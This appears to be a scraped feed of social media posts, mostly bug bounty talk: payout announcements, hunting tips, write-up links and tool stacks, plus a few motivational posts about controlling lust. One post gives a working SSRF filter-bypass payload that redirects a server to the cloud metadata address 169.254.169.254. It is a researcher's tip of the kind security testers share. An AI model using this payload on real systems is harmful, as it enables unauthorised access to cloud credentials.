Ranjith_Kumar

Test

[Dear Son. @DearS_o_n]

Dear son,

A horny man can lose everything in a day.

1 minute of lust can ruin your whole life.

Success requires sexual discipline.

Control your sexual urges to win in life.

[Dear Son. @DearS_o_n]

A man who can control his lust is unstoppable.

[Daher Mohamed @m0m0x01d]

One of the SSRF's :
Server only fetch URL's with :
-https protocol
-AWS S3 bucket suffix (.s3.amazonaws.com)
- CSV extension
Payload : https://myserver\.com/ssrf.php?.s3.amazonaws.com/random.csv
ssrf.php redirects to http://169.254.169.254

[Abdullah Nawaf (HackerX007)🇯🇴 @XHackerx007]

I did it—$1 million on @Bugcrowd

For a lot of people this might be a small achievement, but for me, I’ve been waiting for this!

Do you know the most important tip in bug bounty? Choose one favorite program and spend years working on it. That’s my way. I’ve been working on the same program for about 3–4 years—every day on the same program. When I get bored or can’t find anything, I switch to another program until I find a bug, then I go back to my favorite program again.

After 3–4 years of hunting the same program, this helped me understand the team’s weak points. For example, they often ship ASMX/SVC endpoints without securing them, and they sometimes leave backup files in the web app, etc. With this approach, I made more than $750K from that one program alone!

Another tip—my personal rule—is: when I hunt a new program, I never leave or give up until I find a P1 or P2. If you make that deal with yourself, you’ll be unstoppable!

Believe me, these two tips are the keys to success in bug bounty that few people talk about.

Finally, huge thanks to the @Bugcrowd team for their support—I really love that team. Thanks to @RelentlessT7,
Timmy_Bugcrowd, @Masonhck3571, and all the triagers! Also thanks to FIS Global and their lovely security team!

Your turn now to make $1M—you can do it!
#ItTakesACrowd #CyberSecurity #infosec #redteam #BlueTeam #BugBounty #bugbountytips #bugbountytip #HackerCommunity #Bugcrowd

[Aditi Singh @aditi_singghh]

Thank you so much for all the love💙

I turned 25 last month and was feeling low for not having a regular job. It’s not that I don’t want one, but I’ve always been scared of rejection. Bug bounty has been the easiest way for me to earn and feel confident.

[⚡🌌🌌teslatheg0d🌌🌌⚡ @TeslaTheGod]

Yeah.

[pashov @pashov]

IYKYK

[Mkache5_TN @Adem_Zayan1]

Finally sharing the writeup of my first Critical bug 🎯
https://t.co/E0CCYV1OHS

#bugbounty #Cybersecurity

[bugcrowd @Bugcrowd]

This hacking secret may lead to your first P1. 😏

Spoiler: This may also lead to your first RCE.

Here's a quick watch: 👇

[Behi @Behi_Sec]

Nice write-up!

$148,337 RCE in Google Cloud Production.

https://t.co/B3oLUlvojO

[Preben @prebenve]

Found a cool bug at Meta.

From misconfigured Grafana instance to R/W access on 507 private Meta repositories.

Wrote up the full chain here:
https://t.co/LYQ0prc68d

$157k bounty awarded by @metabugbounty

[Behi @Behi_Sec]

This is my current stack:

Terminal: cmux
Coding model: GPT-5.5(codex)
Open source model: Deepseek V4 Pro(Max)
Harness for open source models: Droid
Terminal editor: Fresh editor

What's your pick?

[Behi @Behi_Sec]

Why hasn’t anyone ever mentioned the @praetorianlabs GitHub organization?

Their tools are like a goldmine for bug hunting.

[Behi @Behi_Sec]

This presentation by @nnwakelam is still relevant and useful. 🥲

https://t.co/GtkqslXzPs

[STÖK ✌️ @stokfredrik]

What is the most efficient and easy way to setup a solution today for Claud code segmentation/sandboxing, without loosing to much performance?

What I want :
- a secure way to run Claud code + tools with full access to a shell on laptop (independent of the os) I want it to be able to install apps, dependencies you name it on the fly inside its ”home”.
- egress over network, so it can send / route traffic through a proxy like burp/caido for logging purposes, passive audits and manual evaluations. But no other host / access, findings will be sent back into the workflow for validation.
- files / memory / context dumps synced over git, rsync or similar,
- a easy snapshot functionality so I’m able to roll back and get em back up running fast when it eats itself.

Any ideas? I could easily ask the llm, but I want some human input around it.

[STÖK ✌️ @stokfredrik]

If you are agent / skill curious, check this out and adapt to your field of work.

[STÖK ✌️ @stokfredrik]

Are there some truth to the sentences:
”Bounties is dead, pentest is dying, sast is dead”?

I personally think so, but there are a lot of nuances to it. It’s not going to disappear overnight, but roles and jobs will change, natural language code will become more secure, security will move closer to the devs and time to fix had to be close to 0.

We are now with almost insane lightning speed entering an new era of security. Either we want it or not, and the landscape of security is changing before our eyes.

It makes me wonder ”what is the shape of security to come”

[Luke Stephens (hakluke) @hakluke]

If you’re starting to do bug bounties in 2026, you should follow these accounts. They regularly drop valuable stuff.
@NahamSec
@0xacb
@rez0__
@Rhynorater
@garethheyes
@albinowax
@infosec_au
@WebSecAcademy
@hackinghub_io
@ctbbpodcast

Obviously, there’s a ton more I am forgetting. So, if you happen to know some must-follow accounts, drop them in the replies so everyone can see. 👇

[⚡🌌🌌teslatheg0d🌌🌌⚡ @TeslaTheGod]

@bugbountyworld_ https://t.co/L7uyebLX6D